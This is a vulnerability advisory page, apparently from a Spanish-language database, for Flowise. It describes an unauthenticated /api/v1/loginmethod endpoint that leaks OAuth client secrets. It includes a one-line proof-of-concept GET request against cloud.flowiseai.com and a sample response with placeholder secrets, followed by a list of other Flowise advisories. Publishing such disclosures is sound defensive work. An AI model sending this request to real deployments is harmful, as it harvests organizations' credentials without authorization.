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Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

  • Publicada: 16.04.2026
  • Actualizado: 11.10.2026 10:22

Summary

I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.

PoC

The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request

http
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json

Response: The server returns 200 OK with sensitive credentials:

js
{
  "providers": [
    {
      "id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "azure",
      "config": {
        "tenantID": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "google",
      "config": {
        "clientID": "123455",
        "clientSecret": "123455"
      },
      "status": "enable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "auth0",
      "config": {
        "domain": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "github",
      "config": {
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    }
  ],
  "callbacks": [
    {
      "providerName": "azure",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
    },
    {
      "providerName": "google",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
    },
    {
      "providerName": "auth0",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
    },
    {
      "providerName": "github",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
    }
  ]
}

Affected Deployments

  • FlowiseAI Cloud (cloud.flowiseai.com)
  • Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

Impact

An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

Software afectado

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PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm flowise < 3.1.0 3.1.0

Referencias

Puntuación CVSS 5.3/10
Vector CVSS
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Debilidad (CWE)
CWE-306, CWE-312
Plataforma
npm
Paquete
flowise
Publicada
16.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-6pcv-j4jx-m4vx - CC BY 4.0

Historial de vulnerabilidades: flowise

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (114) en el archivo
Entradas en total
114
Primera → última
04.2024 10.2026
Sin corrección
16
Explotada en ataques
0

Distribución por gravedad

  • Crítica 28
  • Alta 62
  • Media 24

Divulgaciones por año

Gravedad:
  1. Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request esta entrada
    Media · 5.3 CVE-2026-56270 < 3.1.0 3.1.0
  2. Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
    Crítica CVE-2026-73487 < 3.1.3 3.1.3
  3. Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
    Crítica CVE-2026-73483 < 3.1.3 3.1.3
  4. Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
    Crítica CVE-2026-70478 < 3.1.3 3.1.3
  5. Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
    Crítica CVE-2026-70477 < 3.1.3 3.1.3
  6. Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
    Alta CVE-2026-70476 < 3.1.3 3.1.3
  7. Flowise: Missing Authorization on Execution Update Endpoint
    Alta CVE-2026-70475 < 3.1.3 3.1.3
  8. Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
    Alta CVE-2026-70474 < 3.1.3 3.1.3
  9. Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history
    Alta CVE-2026-70473 < 3.1.3 3.1.3
  10. Flowise: Cross-workspace credential IDOR in openai-assistants-vector-store
    Alta CVE-2026-70472 < 3.1.3 3.1.3
  11. Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
    Crítica CVE-2026-69264 < 3.1.3 3.1.3
  12. Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
    Alta ghsa-88pr-878c-24wf < 3.1.3 3.1.3
  13. Flowise: RBAC Bypass Leading to Unauthorized Workspace Variables Disclosure
    Alta CVE-2026-70471 < 3.1.3 3.1.3
  14. Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
    Crítica CVE-2026-70470 < 3.1.3 3.1.3
  15. Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)
    Alta CVE-2026-69263 < 3.1.3 3.1.3
  16. Flowise: `DELETE /api/v1/chatflows/:id` does not validate resource type, allowing `agentflows:delete` and `chatflows:delete` to delete each other’s flow type
    Alta CVE-2026-69262 < 3.1.3 3.1.3
  17. Flowise RCE via SQLite Record Manager Node
    Crítica CVE-2026-69259 < 3.1.3 3.1.3
  18. Flowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API
    Alta CVE-2026-69258 < 3.1.3 3.1.3
  19. Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
    Alta CVE-2026-69257 < 3.1.3 3.1.3
  20. Flowise: Remote Code Execution Vulnerability in CSVAgent
    Crítica CVE-2026-69256 < 3.1.3 3.1.3
  21. Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
    Crítica CVE-2026-69255 < 3.1.3 3.1.3
  22. Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
    Crítica CVE-2026-69254 < 3.1.3 3.1.3
  23. Flowise Sandbox Escape to RCE
    Crítica CVE-2026-69253 < 3.1.3 3.1.3
  24. Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
    Alta CVE-2026-69252 < 3.1.3 3.1.3
  25. Flowise RCE via TypeORM DataSource
    Crítica CVE-2026-69251 < 3.1.3 3.1.3
  26. Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
    Alta CVE-2026-69250 < 3.1.3 3.1.3
  27. FlowiseAI: Evaluator create+update mass-assignment allows cross-workspace evaluator takeover
    Alta · 8.8 CVE-2026-46480 < 3.1.2 3.1.2
  28. FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover
    Alta · 8.8 CVE-2026-46479 < 3.1.2 3.1.2
  29. FlowiseAI: DatasetRow create+update mass-assignment allows cross-workspace row takeover
    Alta · 8.8 CVE-2026-46478 < 3.1.2 3.1.2
  30. FlowiseAI: Dataset create+update mass-assignment allows cross-workspace dataset takeover
    Alta · 8.8 CVE-2026-46477 < 3.1.2 3.1.2
  31. FlowiseAI: CustomTemplate create+update mass-assignment allows cross-workspace template takeover
    Alta CVE-2026-46476 < 3.1.2 3.1.2
  32. FlowiseAI: Assistant create+update mass-assignment allows cross-workspace assistant takeover
    Alta · 8.8 CVE-2026-46475 < 3.1.2 3.1.2
  33. FlowiseAI: Vector Store No Permission Checks
    Alta · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  34. FlowiseAI Vulnerable to Credential Data Leak
    Alta CVE-2026-46443 < 3.1.2 3.1.2
  35. FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
    Crítica CVE-2026-46442 < 3.1.2 3.1.2
  36. FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Alta CVE-2026-46441 < 3.1.2 3.1.2
  37. Flowise has an MCP Security Bypass that Enables RCE
    Alta CVE-2026-56274 < 3.1.2 3.1.2
  38. FlowiseAI Exposes Basic Auth Credentials via API
    Alta · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  39. FlowiseAI has Mass Assignment in Chatflow Update Endpoint that Allows Cross-Workspace AgentFlow Reassignment
    Alta CVE-2026-42863 < 3.1.2 3.1.2
  40. FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Alta CVE-2026-42862 < 3.1.2 3.1.2
  41. FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Alta CVE-2026-42861 < 3.1.2 3.1.2
Mostrar más (20) Mostrando 41 de 91

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